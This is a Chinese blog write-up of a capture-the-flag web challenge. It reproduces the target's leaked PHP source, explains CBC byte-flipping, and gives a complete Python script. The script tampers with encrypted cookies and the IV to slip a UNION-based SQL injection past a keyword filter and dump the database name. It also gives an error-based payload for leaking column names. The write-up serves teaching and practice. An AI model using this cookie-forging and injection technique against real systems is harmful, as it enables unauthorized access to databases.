美文网首页
实验吧web-简单的登录题

实验吧web-简单的登录题

作者: Aluvion | 来源:发表于2018-01-26 22:32 被阅读0次

    该wp学习自Pcat大佬在实验吧的wp

    题目地址:http://ctf5.shiyanbar.com/web/jiandan/index.php

    随便提交一个id,看到后台set了两个cookie

    iv和cipher这两个数据每次刷新都会发生变化,应该是每次刷新的时候,后台重新随机生成了一个iv,并用来加密某个数据,可能是我们提交的id,然后将密文cipher存入cookie中。

    iv和cipher在翻译过来就是Initialization Vector(初始化向量)和密文,这两个东西好像也经常在CBC翻转的题目里出现。在看到这两个数据的时候,我觉得这道题应该是一道CBC翻转的题目吧。

    然后呢?如果是CBC翻转这种接近于密码的题目,没有源码不知道后台做了什么处理的话,那就有点无从下手的感觉了。这个时候,就是扫描器登场的时候了,我们可以用御剑简单地扫描一下。

    后面两条结果忽略掉,conn明显是数据库连接的php,index.php则是我们访问的php,那么test.php里面会有什么呢?我们访问一下

    如愿以偿地得到了index.php的源码,变得好看一点,大致源码如下


    define("SECRET_KEY", '***********');

    define("METHOD", "aes-128-cbc");

    error_reporting(0);

    include('conn.php');

    function sqliCheck($str){

        if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){

            return 1;

        } return 0;

    }

    function get_random_iv(){

        $random_iv='';

        for($i=0;$i<16;$i++){

            $random_iv.=chr(rand(1,255));

    }

        return $random_iv;

    }

    function login($info){

        $iv = get_random_iv();

        $plain = serialize($info);

        $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);

        setcookie("iv", base64_encode($iv));

        setcookie("cipher", base64_encode($cipher));

    } function show_homepage(){

        global $link;

        if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){

            $cipher = base64_decode($_COOKIE['cipher']);

            $iv = base64_decode($_COOKIE["iv"]);

            if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){

                $info = unserialize($plain) or die("base64_decode('".base64_encode($plain)."') can't unserialize");

                $sql="select * from users limit ".$info['id'].",0";

                $result=mysqli_query($link,$sql);

                if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){

                    $rows=mysqli_fetch_array($result);

                    echo 'Hello!'.$rows['username'].'';

                } else{

                    echo 'Hello!';

    }

            }else{

                die("ERROR!");

    }

    }

    }

    if(isset($_POST['id'])){

        $id = (string)$_POST['id'];

        if(sqliCheck($id)) die("sql inject detected!");

        $info = array('id'=>$id);

        login($info);

        echo 'Hello!';

    }else{

        if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){

    show_homepage();

        }else{ echo 'Login Forminput id to loginidLogin';

    }

    }


    分析一下,有这么几点:

    1.传递的id中有一些会被吃掉的关键词

    2.id的值会被存入一个数组中序列化,然后加密该序列化字符串,并将该cipher base64编码后与base64编码的iv存入cookie

    3.如果不传递id,就会从cookie中取出iv和cipher进行解码解密,然后拼接SQL语句进行查询,而这个SQL语句比较奇特,我们传递的数据被拼接在了limit的后面,而在SQL语句中,limit的后面只剩下procedure、into和for update了,而procedure也被吃掉了,看来不是一般的SQL注入了

    4.在执行SQL语句前并不会再次吃掉敏感关键词

    结合之前的猜测,那么这道题就很明显了,考点是CBC字节翻转攻击+SQL注入攻击

    CBC字节翻转攻击:http://www.vuln.cn/6109

    具体的思路就是:

    1.提交id的时候替换被吃掉的关键词,比如union的其中一个字母

    2.从cookie中获取到iv和cipher之后,进行CBC翻转攻击,使得修改之后,后台解密会将密文变成我们所希望得到的样子

    3.SQL注入的时候,用;%00代替#这些单行注释符,用join代替,来确定回显位置,将数据select到回显位置上

    CBC翻转的时候,尽量少翻转字符,因为越多的翻转可能会导致你需要对cipher或者iv做更多的处理,所以我们只使用union这个被吃掉的关键词就好了,其他的关键词可以绕过

    先写一个php脚本,为了方便直观地看到所要翻转的地方的偏移量是多少,借Pcat大佬的例子

    此时的偏移量(offset)为4,也就是说,如果我们要将 第2块第5个字符2 翻转为我们所需要的字符#,由于CBC模式的解密方式是:

    该块的明文 = decrypt(该块的密文) ^(异或) 前一块密文

    如果是第一块:第一块的明文 = decrypt(第一块的密文) ^ iv

    CBC解密分为两段:decrypt和^

    所以,我们需要对 第1块第5个字符 做一些修改

    由于:

    第2块密文第5个字符的明文(C) = 第1块密文第5个字符(A) ^ decrypt(第2块密文第5个字符的密文)(B)

    而^有运算为:C = A ^ B,A = C ^ B,0 ^ A = A,而我们已知CBC解密后C(这里为2)和密文中A的值cipher_row[offset(偏移量)]

    故:

    B = A ^ C

    而后台CBC解密所得则为:A ^ B

    所以我们控制修改A2 = A ^ C ^ D(我们想要的,这里为#)

    即脚本里的cipher_row[offset] =chr(ord(cipher_row[offset]) ^ord("2") ^ord("#"))

    这样运算下来,则后台CBC解密得到:A2 ^ B = A ^ C ^ D ^ A ^C ,即D,CBC翻转成功

    但是还没有结束,因为我们在翻转第二块的时候,修改了第一块的密文,所以如果用同一个iv去解密第一块密文,是无法反序列化的,因此我们需要对iv进行一些修改。

    (如果我们为了翻转第三块,而修改了第二块,那我们又需要为了让第二块解密后反序列化成功修改第一块,最后又要修改iv,处理量一下子就多了起来)

    修改iv的时候,我们已知:原iv,用原iv解密后的错误明文,第一块密文,以及正确明文(即a:1:{s:2:\"id\";s:)

    而:

    错误明文 = 原iv ^ 第一块密文 => 第一块密文 = 错误明文 ^ 原iv

    正确明文 = 新iv ^ 第一块密文 => 新iv = 正确明文 ^ 第一块密文

    故:

    新iv = 原iv ^ 错误明文 ^ 正确明文

    即脚本里的iv_new = iv_new +chr(ord(iv_row[x]) ^ord(wrong[x]) ^ord(plaintext[x])),循环16次

    原理讲完了,接下来就是脚本了脚本如下


    # -*- coding:utf8 -*-

    import base64

    import requests

    import re

    import urllib

    url ="http://ctf5.shiyanbar.com/web/jiandan/index.php"

    payload ="0 2nion select * from ((select 1)a join (select database())b join (select 3)c);"+chr(0)

    data = {

    'id':payload

    }

    cookie = requests.post(url,data = data).headers['Set-Cookie']

    iv = re.findall(r'iv=(.+),',cookie)[0]

    cipher = base64.b64decode(urllib.unquote(re.findall(r'cipher=(.+)',cookie)[0]))

    iv_row =list(base64.b64decode(urllib.unquote(iv)))

    cipher_row =list(cipher)

    offset =6

    cipher_row[offset] =chr(ord(cipher_row[offset]) ^ord("2") ^ord("u"))

    cipher_new = urllib.quote(base64.b64encode("".join(cipher_row)))

    cookies = {

    "iv" : iv,

    "cipher" : cipher_new

    }

    mistake = requests.get(url,cookies = cookies).content

    wrong = base64.b64decode(re.findall(r'\(\'(.+)\'\)',mistake)[0])

    iv_new =''

    plaintext ="a:1:{s:2:\"id\";s:"

    for xin range(16):

    iv_new = iv_new +chr(ord(iv_row[x]) ^ord(wrong[x]) ^ord(plaintext[x]))

    iv_new = urllib.quote(base64.b64encode(iv_new))

    cookies2 = {

    "iv" : iv_new,

    "cipher" : cipher_new

    }

    result = requests.get(url,cookies = cookies2).content

    print result


    运行得到数据库名

    修改payload和offset的值,最后getflag

    最后提一句的是:select * from ??? limit 1 union select ???这种写法在mysql5.7里面已经不能用了,会报错incorrect usage of union and limit,要使用(select * from ??? limit 1) union (select ???)这种写法,官方在5.7文档是这么说的

    PS:

    发现最近这题好像出了点问题,在select列的时候会报Got error 28 from storage engine的错误,就获取不到列名了

    不过列名可以通过报错的方式爆出来,payload

    "0 2nion select * from (select * from you_want as a join you_want) as c;"+chr(0)

    结果:


    the end

    作者水平有限 如有错误请指出 Orz

    相关文章

      网友评论

          本文标题:实验吧web-简单的登录题

          本文链接:https://www.haomeiwen.com/subject/kibwaxtx.html